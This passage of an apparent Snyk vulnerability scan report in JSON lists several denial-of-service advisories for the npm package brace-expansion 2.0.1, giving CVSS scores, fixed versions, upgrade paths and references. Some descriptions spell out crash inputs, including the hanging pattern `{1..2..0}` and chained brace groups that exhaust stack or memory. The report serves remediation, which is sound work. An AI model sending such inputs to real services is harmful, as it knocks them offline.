"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmsearch@7.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmsearch@7.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmteam@6.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmteam@6.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmteam@6.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmteam@6.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
